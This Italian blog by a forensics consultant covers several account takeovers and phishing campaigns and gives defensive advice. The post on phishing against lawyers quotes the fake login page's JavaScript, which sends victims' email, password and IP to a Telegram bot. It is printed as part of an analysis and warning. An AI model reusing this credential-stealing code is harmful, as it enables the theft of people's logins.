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Nella “Cantinetta” di Andrea Galeazzi sul canale Youtube hackerato

Hanno rubato e fatto chiudere l’account Google e quindi anche il canale Youtube di Andrea Galeazzi, con quasi 1.5 milioni di follower, tramite social engineering con phishing mirato e finta autenticazione OAuth, nonostante avesse 2FA attivo e fosse consapevole dei rischi degli attacchi mirati agli youtuber.

Paolo Dal Checco con Andrea Galeazzi su Youtube per parlare del canale e account Google hackerato

Andrea Galeazzi racconta in un video – pubblicato sul canale appena riaperto – come è avvenuto l’attacco da parte degli hacker al suo canale, come lo hanno tagliato fuori dal suo account Google nonostante avesse 2FA attivo e come ha reagito per recuperare l’accesso.

Nella famosa “Cantinetta”, tra smartphone e gadget affascinanti, con Andrea ci sono anche io per analizzare gli aspetti tecnici e dare alcuni consigli su come proteggersi da questi hack e come rimediare se il danno è già stato fatto.

Per chi fosse curioso di capire come è stato hackerato Andrea Galeazzi, la compromissione ha avuto origine da un attacco di Spear Phishing (phishing mirato e personalizzato) estremamente sofisticato.

A differenza delle campagne generiche, gli attaccanti hanno confezionato un’esca basata su una fase di reconnaissance precisa, sfruttando le lamentele reali degli utenti sulla qualità audio dei video recenti per proporre una falsa collaborazione con un brand di microfoni noto alla vittima.

Paolo Dal Checco nella Cantinetta di Andrea Galeazzi - Video Youtube sull'hack dell'account Google

L’attuale disponibilità di strumenti basati sull’Intelligenza Artificiale permette ormai di automatizzare la creazione di scenari così contestualizzati, analizzando profili e commenti pubblici per ingannare la vittima con una precisione che un tempo avrebbe richiesto un operatore umano dedicato,.

Sotto il profilo tecnico, il vettore d’attacco non ha mirato alla sottrazione diretta della password, ma allo sfruttamento del protocollo OAuth o meglio, di ciò che pareva essere un’autenticazione OAuth.

Andrea Galeazzi, rassicurato dalla coerenza del contesto e colto in un momento di stanchezza, ha autorizzato l’accesso tramite una maschera di autenticazione che pareva legittima, concedendo di fatto l’accesso ai criminali che hanno proceduto in pochi secondi al hijacking del canale.

Quello che colpisce maggiormente dal punto di vista della Incident Response è la velocità della “Kill Chain”: in meno di venti secondi dall’autorizzazione, gli attaccanti hanno modificato le credenziali, revocato le sessioni attive e, mossa cruciale per la persistenza, impostato un token fisico (chiave hardware FIDO/U2F) come unico metodo di autenticazione, tagliando fuori il legittimo proprietario e rendendo inefficaci i metodi di recupero tradizionali.

Nel video Youtube girato in Cantinetta con Andrea Galeazzi abbiamo evidenziato la debolezza intrinseca del 2FA via SMS, vulnerabile a malware e SIM Swapping, a favore di metodi più robusti come le Passkey o meglio ancora le chiavi di sicurezza hardware come le note YubiKey.

Andrea Galeazzi racconta nella Cantinetta dell'hack del canale Youtube e dell'account Google

Per i profili ad alto rischio, emerge l’importanza del Google Advanced Protection Program, un’impostazione di sicurezza che limita drasticamente l’accesso alle API di terze parti e impone finestre temporali di verifica estese per operazioni critiche come il Google Takeout, mitigando il rischio di esfiltrazione immediata dei dati,.

Dal punto di vista della Digital Forensics, nel video Youtube di Andrea Galeazzi sull’hack al canale Youtube emerge l’importanza di reperire artefatti specifici che provino la titolarità storica dell’account: non basta conoscere l’handle pubblico: è necessario recuperare l’ID univoco del canale, i log storici dei dispositivi che hanno un “trust” per il provider e i dettagli dei metodi di pagamento pregressi.

Si parla poi del concetto di isolamento dei dati (o compartimentazione): abbandonare l’idea di un unico account “monolitico” per tutti i servizi e separare nettamente le identità digitali lavorative, personali e finanziarie, riducendo così il raggio d’azione di un’eventuale compromissione anche con indirizzi email diversi e persino più numeri di cellulare, così da separare attività private e lavorative/bancarie/riservate.

Per fortuna il peggio è passato ma non bisogna mai rilassarsi troppo perché può capitare a chiunque, esperti e professionisti, nessuno escluso, basta trovare il momento o la chiave giusta e chiunque può cadere vittima di hacking o phishing.

Il video di Andrea Galeazzi con Paolo Dal Checco che parlano del furto e hack del canale Youtube e account Google è visionabile al seguente link: https://www.youtube.com/watch?v=rMwLbLAMKg4

Attenzione al phishing che attacca le mailbox degli Avvocati

Un articolo che non parla d’informatica forense, come di consueto, ma è da leggere con attenzione e far girare in particolare tra gli avvocati: è importante saper riconoscere il phishing che sta colpendo gli studi legali italiani (e non solo) che porta a potenziali databreach a catena, dato che chi subisce l’attacco poi diventa vettore – verso i suoi contatti – di nuovi attacchi.

In questi giorni arrivano infatti agli avvocati email da parte di colleghi (ma anche clienti o collaboratori) che citano un documento di “Pagamento fattura” non allegato ma condiviso tramite OneNote, come mostrato nelle immagini allegate al post.

Email di phishing che arriva agli avvocati con un documento condiviso da aprire su OneNote

La mail ha come oggetto una frase tipo: “Studio Legale Associato XYZ ha condiviso la file Elementi condivisi il giorno 06-11-2025′ con te”.

Phishing ad avvocati e studi legali tramite falsa fattura condivisa su OneNote

Cliccando sul link si apre una pagina che indica che il documento contenente la fattura è crittografato ed è necessario loggarsi su Microsoft OneNote per accedervi:

"Avv. ABC - STUDIO LEGALE ASSOCIATO XYZ ho condiviso un nuovo documento con te
Pagamenti delle fattura.pdf(601 KB)
VISUALIZZARE IL DOCUMENTO CONDIVISO

Il documento è crittografato con password Microsoft, accedi con l'indirizzo e-mail in cui è stato ricevuto il documento.
Questo documento è stato analizzato alla ricerca di virus dal software Norton™ AntiVirus Security Standard 2025
© Condivisione di file Microsoft 2025"

Cliccando sul link “Visualizzare il documento condiviso” si giunge a una pagina con diversi login.

Phishing ad avvocati tramite condivisione fattura OneNote di Microsoft e furto credenziali username e password

E’ possibile inserire il proprio login con username e password per ogni tipo di account di posta elettronica che si possiede, partendo dai principali come Office365, Outlook, Rackspace, Aruba, PEC o anche altri account:

Accedi alla tua e-mail per visualizzare il documento condiviso.
Accedi qui sotto.
Accedi con Office365
Accedi con Outlook
Accedi con Rackspace
Accedi con Aruba Mail
Accedi con PEC
Accedi con Altra Posta

Inserendo le proprie credenziali ai vari link, queste vengono inviate agli attaccanti tramite una chiamata API a un bot Telegram:

forma.addEventListener("submit", e =>{ e.preventDefault(); let email = document.querySelector('#e-mail').value let pwd = document.querySelector('#pwd').value let ips = document.querySelector('#ipaddress').value fetch(`https://api.telegram.org/bot${bot.TOKEN}/sendMessage?chat_id=${bot.chatID}&text=Email:${email}=Password:=${pwd}=IP:=${ips}`, { method: "GET" }).then(success => { window.location.replace("https://www.onenote.com/"); }, error => { alert("Message not sent") console.log(error) })

In sostanza, gli attaccanti, per scaricare il file chiedono d’inserire su un finto sito Microsoft username e password di posta (Office365, Outlook, Rackspace, Aruba S.p.A., PEC o anche qualunque altra) ma ovviamente una volta loggati invece di mostrare la fattura:

1) gli attaccanti entrano nell’account di posta dello Studio;

2) se hanno tempo e voglia scaricano i messaggi e gli allegati;

3) scaricano la rubrica e inviano a tutti i contatti la stessa mail ricevuta sperando che anche loro si facciano trarre in inganno..

Le email che arrivano sono originali e autentiche, inviate dal vero account del collega avvocato, non sono spoofing e tendono a passare i controlli antispam, quindi l’unica prevenzione è non inserire la password al link con il documento condiviso. Se cliccate su link e andate avanti senza inserire credenziali non succede nulla.

Se avete già inserito user/password, gli attaccanti stanno potenzialmente scaricandosi i vostri messaggi, la rubrica e inviando ai vostri contatti lo stesso messaggio: cambiate subito password, loggatevi sulla webmail per chiudere eventuali altre sessioni aperte, attivate 2FA se già non lo avete, valutate se informare i contatti di non aprire link da voi ricevuti, se volete capire cosa hanno fatto gli attaccanti nel vostro account scaricate/chiedete i file di log del provider.

Se avete ricevuto mail simili a quelle allegate al post quindi cancellatele anche se provengono da colleghi oppure se avete voglia inviatemi il file EML che ne sto collezionando diversi per analizzare come il phishing sta diffondendosi tra i professionisti e quali tecniche utilizzano gli attaccanti per rendere credibile il phishing.

Account Instagram, Facebook e Whatsapp hackerati: nuovo servizio per Le Iene

Continua la collaborazione con Le Iene come consulente tecnico: questa sera è andata in onda la puntata de Le Iene durante la quale Nicolò De Devitiis ha presentato alcuni casi di hackeraggio di account Instagram, Facebook e Whatsapp che hanno portato alla perdita dell’account da parte dei legittimi proprietari, che spesso lo utilizzavano anche per attività lavorativa, oltre che per diletto.

Il mio piccolo contributo al servizio come consulente informatico de Le Iene sugli account Instagram, Facebook e Whatsapp hackerati è stato quello d’illustrare tecnicamente come vengono attaccati i profili e come ci si può difendere. Il problema dell’hacking di account e conseguente hijack, cioè appropriazione da parte di terzi e dirottamento, è sempre più frequente e spesso colpisce negozianti, aziende, VIP che utilizzando il Facebook Business Manager gestiscono le proprie pagine o il proprio advertising e di colpo vengono tagliati fuori dal proprio account, spesso trovandone un altro al suo posto, con conseguente perdita anche delle pagine gestite tramite Facebook Business Manager o dei profili Instagram. Lo stesso avviene anche per gli account Whatsapp, che ultimamente subiscono furti e attacchi da parte di soggetti che inviano il codice a sei cifre di accesso a utenti ignari che poi lo comunicano perdendo così il proprio profilo, che rimane a volte fino a sette giorni in uso agli attaccanti.

Paolo Dal Checco a Le Iene su Hack di Profili Instagram e Facebook

In diversi casi, a seguito del furto e hacking dei profili Facebook e Instagram sono arrivate alle vittime richieste di riscatto in bitcoin per poter riavere accesso al proprio account. Nel servizio dove ho svolto attività di consulente informatico de Le Iene Nicolò De Devitiis ha provato a contattare uno dei ricattatori che, una volta rubato un profilo Instagram, chiedeva il riscatto di 300 dollari per restituire il maltolto.

In sostanza, esistono diverse maniere di hackerare un profilo Facebook o Instagram, in genere quella più semplice è tramite riutilizzo di password, ma anche il furto di cookies che spesso avviene tramite pagine di phishing o App che simulano l’accesso con identficazione tramite Facebook ma in realtà procedono con la sottrazione dei token di autenticazione.

Le Iene - Hackerati Profili Instagram, Facebook e Whatsapp

Una delle possibili contromisure è quella d’impostare un secondo fattore di autenticazione – detto anche 2FA – che permetta agli utenti di proteggersi anche nel caso in cui la loro password venisse resa nota agli attaccanti tramite phishing, brute force oppure riutilizzo di credenziali.

Ovviamente l’autenticazione a due fattori non è la panacea ma in diversi casi un semplice messaggio SMS sul cellulare, una App di autenticazione o una chiavetta Yubikey possono proteggere dal furto dell’account Instagram, Facebook ma anche Linkedin, Twitter o di posta elettronica.

L’amico Stefano Fratepietro ha poi spiegato come sia difficile recuperare un account Instagram o Facebook rubato e hackerato, perché ci sono così tante richieste di ripristino di account hackerati che Facebook e Instagram – essendo servizi gratuiti – non riescono a stare dietro a tutti. La soluzione quindi è cercare di evitare di farsi sottrarre i profili Instagram e Facebook proteggendoli ad esempio con autenticazione a due fattori, che però essendo facoltativa e non obbligatoria spesso non viene utilizzata.

Digital Forensics e Investigazioni Digitali per Persone & Privacy

Oggi ho tenuto un intervento su Digital Forensics e Investigazioni Digitali per l’Associazione Persone & Privacy, nella quale sono fiero di essere entrato da poco a far parte come membro del Comitato Scientifico.

Associazione Persone e Privacy

Il webinar su digital forensics e investigazioni digitali ha coperto vari argomenti, quali la figura del consulente informatico forense, la forensic readiness, il data breach e rischi di attacchi informatici come man in the mail, ransomware, phishing e dipendente infedele, il GDPR.

Webinar su Informatica Forense e Digital Forensics

Durante il webinar organizzato dalla Associazione Persone & Privacy sono stati presentati diversi esempi di casi pratici dove è stata richiesta attività di perizia informatica a seguito di data breach o dipendenti infedeli, danneggiamento di materiale informatico o accesso abusivo, reati informatici e tradizionali dove la componente digitale è strategica per la risoluzione del caso giudiziario.

Contro il Revenge Porn con Le Iene

Nel servizio TV andato in onda giovedì 26 novembre 2020 nel quale ho svolto il ruolo di esperto informatico de Le Iene si è parlato di revenge porn e di come numerose donne cadano vittima di questo tipo di attacchi, peraltro non sempre motivati da vendetta da parte di ex mariti o compagni ma spesso semplicemente a seguito di attacchi a piattaforme cloud come iCloud, Google Drive o Dropbox e talvolta con attacchi di hacking su Instagram, Twitter o Facebook.

La collaborazione con Le Iene continua anche con questo servizio TV nel quale Il mio piccolo contributo è stato quello di spiegare come possono accadere questi episodi di hacking di iCloud, che in realtà con l’hacking icloud hanno spesso ben poco perché si tratta più frequentemente di attacchi di phishing o social engineering, mirati a ottenere le credenziali di iCloud tramite le quali accedere e scaricare il contenuto dei backup delle foto, filmati, note, audio e video delle vittime.

Paolo Dal Checco con le Iene su Hacking e Phishing iCloud

Ciò che è successo a Guendalina Tavassi – la protagonista del servizio de Le Iene nel quale ho svolto il ruolo di Consulente Informatico Forense – su iCloud a seguito di hacking o phishing è infatti piuttosto frequente e spesso avviene in contesti diversi: numerose sono infatti le richieste di supporto a seguito di hacking di profili Instagram o pagine Facebook.

In tali situazioni, spesso le vittime si chiedono come ottenere nuovamente il possesso del profilo Instagram rubato o delle pagine Facebook sottratte, cosa non banale soprattutto se sono assenti alcune delle misure di sicurezza base come la doppia autenticazione tramite 2FA, la conferma dell’utenza telefonica su cui inviare codici di sicurezza (che però può essere attaccata tramite sim swap e quindi non è totalmente affidabile) o il mancato legame ad esempio di account Instagram a profilo Facebook.

Il consiglio che si può dare per ridurre il rischio di perdere i propri dati o i propri account è quello di non cliccare sui link ricevuti via email, ma anche Whatsapp o SMS, non fornire il proprio telefono, username e password, diffidare da potenziali soggetti che promettono di recuperare account a fronte della comunicazione di altre credenziali, cosa chiaramente finalizzata a ottenere ulteriori punti di accesso nei profili della vittima.